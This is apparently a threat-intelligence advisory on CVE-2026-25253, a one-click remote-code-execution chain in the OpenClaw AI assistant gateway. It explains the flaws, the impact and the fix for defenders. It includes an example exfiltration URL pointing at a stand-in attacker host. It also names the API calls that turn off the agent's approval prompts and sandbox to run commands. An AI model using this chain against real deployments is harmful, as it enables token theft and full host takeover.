# OpenClaw CVE-2026-25253: One-Click RCE via Token Exfiltration

> CVE-2026-25253 is a critical 1-Click Remote Code Execution (RCE) vulnerability in OpenClaw (formerly Moltbot/ClawdBot), the open-source AI personal assistant platform trusted by 100,000+ developers. The vulnerability chains three flaws: (1) the Gateway Control UI blindly accepts a gatewayUrl query parameter and auto-connects via WebSocket without user confirmation, sending the stored authentication token to the attacker-controlled server, (2) the WebSocket server fails to validate the Origin header, enabling Cross-Site WebSocket Hijacking (CSWSH) to pivot into localhost-only instances, and (3) the stolen operator.admin-scoped token allows the attacker to disable all safety guardrails (exec-approvals, sandbox containers) and execute arbitrary commands on the host via the API. A single visit to a malicious webpage results in full host compromise — no user interaction beyond the initial click. Independently discovered by depthfirst GSI (static analysis), Ethiack Hackian (autonomous AI pentester in ~100 minutes), and researcher @0xacb. Fixed in commit 8cb0fa9 (v2026.1.29) by adding a gateway URL confirmation modal. CWE-669 (Incorrect Resource Transfer Between Spheres). GHSA-g8p2-7wf7-98mq.

- **Published:** 2026-02-02T18:07:00Z
- **Last reviewed:** 2026-02-02T18:07:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0008
- **ID:** TL-2026-0008
- **Severity:** HIGH (CVSS 8.8)
- **Category:** VULNERABILITY
- **Status:** PATCHED
- **Detections:** 31 · **IOCs:** 64 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2026-25253

## Description

OpenClaw (formerly Moltbot, originally ClawdBot/Clawd) is a self-hosted, open-source AI personal assistant gateway that connects messaging platforms (WhatsApp, Telegram, Discord, iMessage, Slack) to AI coding agents. It provides 'god mode' capabilities: unrestricted local computer control, file system access, code execution, and API integrations. The platform grew to 100,000+ developer users within weeks of its viral launch in January 2026.

CVE-2026-25253 exploits a logic flaw in the Gateway Control UI's handling of URL query parameters. The vulnerability chain consists of three independently exploitable but devastatingly combinable weaknesses:

**Flaw 1 — Blind gatewayUrl Override (Token Exfiltration):** The Control UI's app-settings.ts accepts a gatewayUrl parameter from the URL query string and persists it to localStorage without validation or user confirmation. app-lifecycle.ts immediately triggers connectGateway() after settings are applied, and gateway.ts bundles the security-sensitive authToken into the WebSocket connect handshake. Result: visiting http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080 silently sends the auth token to the attacker. Each operation is individually reasonable; together they create a critical exfiltration path.

**Flaw 2 — Missing WebSocket Origin Validation (CSWSH):** While browsers enforce Same-Origin Policy (SOP) for HTTP connections, WebSocket connections do not have an equivalent CORS mechanism — the server must validate the Origin header. OpenClaw's WebSocket server accepts connections from any origin. This enables Cross-Site WebSocket Hijacking: JavaScript on attacker.com can open WebSocket connections to ws://localhost:18789 (the default OpenClaw gateway), using the victim's browser as a pivot point into their local network. As of Chrome v144, the Local Network Access flag is not enabled by default, so no additional permission is required.

**Flaw 3 — Token Scope Escalation to RCE:** The stolen token carries operator.admin and operator.approvals scopes, granting full API access. The attacker uses exec.approvals.set to disable user confirmation prompts (ask: 'off') and config.patch to force command execution on the host (tools.exec.host: 'gateway'), bypassing Docker sandbox containers. Finally, node.invoke with system.run executes arbitrary commands. The entire chain — from page visit to command execution — completes in milliseconds without any user interaction beyond the initial click.

**Discovery:** Independently discovered by three separate entities: (1) depthfirst General Security Intelligence via static analysis data flow tracing, (2) Ethiack's Hackian autonomous AI pentester in approximately 1 hour 40 minutes of fully autonomous black-box testing, and (3) researcher @0xacb. The Ethiack discovery is notable as one of the first documented cases of an AI autonomously discovering a chained 1-click RCE in a production AI platform — 'a hackbot hacking a chatbot.'

**Impact:** Full host compromise of any OpenClaw deployment where a user has authenticated to the Control UI. The attacker gains: access to all connected messaging accounts (WhatsApp, Telegram, iMessage, Discord), stored API keys (Stripe, Anthropic, OpenAI), file system access, shell execution, and all data the AI agent can access. Given OpenClaw's 'god mode' architecture, this effectively means complete control of the developer's machine and digital life.

**Fix:** Patched in commit 8cb0fa9 (v2026.1.29) by adding a gateway URL confirmation modal, removing the auto-connect-without-prompt behavior. All versions up to v2026.1.24-1 are vulnerable.

## MITRE ATT&CK

- T1596 Search Open Technical Databases
- T1592 Gather Victim Host Information
- T1608 Stage Capabilities
- T1189 Drive-by Compromise
- T1566 Phishing
- T1059 Command and Scripting Interpreter
- T1204 User Execution
- T1556 Modify Authentication Process
- T1548 Abuse Elevation Control Mechanism
- T1685 Disable or Modify Tools
- T1539 Steal Web Session Cookie
- T1552 Unsecured Credentials
- T1005 Data from Local System
- T1071 Application Layer Protocol
- T1041 Exfiltration Over C2 Channel
- T1531 Account Access Removal
- T1203 Exploitation for Client Execution
- T1068 Exploitation for Privilege Escalation
- T1578 Modify Cloud Compute Infrastructure
- T1528 Steal Application Access Token
- T1082 System Information Discovery
- T1083 File and Directory Discovery
- T1213 Data from Information Repositories
- T1571 Non-Standard Port
- T1090 Proxy
- T1567 Exfiltration Over Web Service
- T1587 Develop Capabilities
- T1583 Acquire Infrastructure
- T1199 Trusted Relationship
- T1176 Software Extensions
- T1555 Credentials from Password Stores
- T1087 Account Discovery
- T1518 Software Discovery
- T1114 Email Collection
- T1074 Data Staged
- T1550 Use Alternate Authentication Material
- T1588 Obtain Capabilities
- T1593 Search Open Websites/Domains

## Sources

- [NVD — CVE-2026-25253](https://nvd.nist.gov/vuln/detail/CVE-2026-25253)
- [depthfirst — 1-Click RCE To Steal Your Moltbot Data and Keys](https://depthfirst.com/post/1-click-rce-to-steal-your-moltbot-data-and-keys)
- [Ethiack — One-Click RCE on Clawd/Moltbot with Autonomous Hacking Agent](https://ethiack.com/news/blog/one-click-rce-moltbot)
- [GitHub Advisory — GHSA-g8p2-7wf7-98mq](https://github.com/openclaw/openclaw/security/advisories/GHSA-g8p2-7wf7-98mq)
- [OpenClaw Blog — Security Updates](https://openclaw.ai/blog)
- [Ethiack — Exploit source code](https://github.com/ethiack/moltbot-1click-rce)
- [Patch commit 8cb0fa9](https://github.com/moltbot/moltbot/commit/8cb0fa993ba0ba4a3e24c2a9e0416ab2ca796dcf)
- [@0xacb — Original disclosure thread on X](https://x.com/0xacb/status/2016913750557651228)
- [Trend Micro: Viral AI, Invisible Risks — OpenClaw Agentic AI Analysis](https://www.trendmicro.com/en_us/research/26/b/what-openclaw-reveals-about-agentic-assistants.html)
- [OpenClaw Documentation](https://docs.openclaw.ai/)
- [OpenClaw GitHub Repository](https://github.com/openclaw/openclaw)
- [Ethiack Pull Request #2880](https://github.com/moltbot/moltbot/pull/2880)
- [Chrome Local Network Access specification](https://developer.chrome.com/blog/local-network-access)
- [OpenClaw Discord Community](https://discord.com/invite/clawd)
- [Security concerns discussion (X)](https://x.com/theonejvo/status/2015401219746128322)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0008